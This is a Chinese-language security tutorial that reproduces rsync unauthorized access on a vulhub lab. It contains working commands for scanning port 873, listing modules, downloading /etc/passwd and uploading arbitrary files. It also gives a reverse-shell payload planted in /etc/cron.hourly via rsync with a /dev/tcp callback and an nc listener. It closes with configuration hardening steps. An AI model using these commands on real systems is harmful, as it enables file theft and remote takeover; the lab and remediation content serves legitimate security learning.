rsync未授權訪問漏洞簡介
rsync是Linux/Unix下的一個遠程數據同步工具,可通過LAN/WAN快速同步多台主機間的文件和目錄,默認運行在873端口。由於配置不當,導致任何人可未授權訪問rsync,上傳本地文件,下載服務器文件。rsync未授權訪問帶來的危害主要有兩個:一是造成了嚴重的信息泄露;二是上傳腳本后門文件,遠程命令執行。
rsync未授權訪問漏洞復現
漏洞環境搭建
cd vulhub-master/rsync/common
docker-compose up -d
漏洞復現
rsync未授權訪問漏洞只需使用rsync命令即可進行檢測。首先使用nmap或其他工具對目標服務器進行端口掃描,當檢測到目標服務器開放873端口后,使用rsync命令,查看是否能獲取到模塊名列表(需要同步的目錄),然后查看模塊內的文件,rsync未授權訪問漏洞的檢測就是如此簡單。
1、nmap掃描目標系統是否開放rsync服務
nmap -p 873 192.168.0.113
2、使用如下兩條命令之一,列出目標服務器的同步目錄
rsync 192.168.0.113::
rsync rsync://192.168.0.113:873
//rsync ip::
//rsync rsync://ip:873
3、查看模塊文件
獲取到目錄之后,只需在路徑后添加目錄名即可查看目錄中的文件
rsync 192.168.0.113::src
4、下載任意目錄文件
rsync -av 192.168.0.113::src/etc/passwd ./
//rsync -av ip::src/路徑
5、向目標系統上傳任意文件
rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1
//rsync -av 文件路徑 rsync://ip:873/目標系統文件路徑
rsync未授權訪問漏洞掃描探測
1、namp
nmap -p 873 --script rsync-list-modules 192.168.2.102
2、metasploit
rsync未授權訪問漏洞反彈shell
1、下載cron定時任務配置文件並且查看任務內容
rsync -av shell rsync://192.168.2.102:873/src/etc/cron.hourly
//17 * * * * root cd / && run-parts --report /etc/cron.hourly
//表示17分鍾會啟動/etc/cron.hourly目錄下文件的任務
2、創建shell文件,寫入反彈shell命令
touch shell
//文件寫入反彈shell命令
!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.2.101/8888 0>&1
3、傳入/etc/cron.hourly目錄下
rsync -av shell rsync://192.168.2.102:873/src/etc/cron.hourly
4、監聽8888端口,等待17分鍾之后,接收反彈shell
nc -lvp 8888
rsync未授權訪問漏洞攻擊流量分析
rsync未授權訪問漏洞修復
更改rysnc默認配置文件/etc/rsyncd.conf,添加或修改參數:
訪問控制;設置host allow,限制允許訪問主機的IP。
權限控制;設置read only,將模塊設置成只讀。
訪問認證;設置auth、secrets,認證成功才能調用服務。
模塊隱藏;設置list,將模塊隱藏。
詳情可參考官方doc:https://rsync.samba.org/ftp/rsync/rsyncd.conf.html
參考鏈接
freebuf-每日漏洞 | rsync未授權訪問
Tide安全團隊-rsync未授權訪問漏洞利用復現
聲明
嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !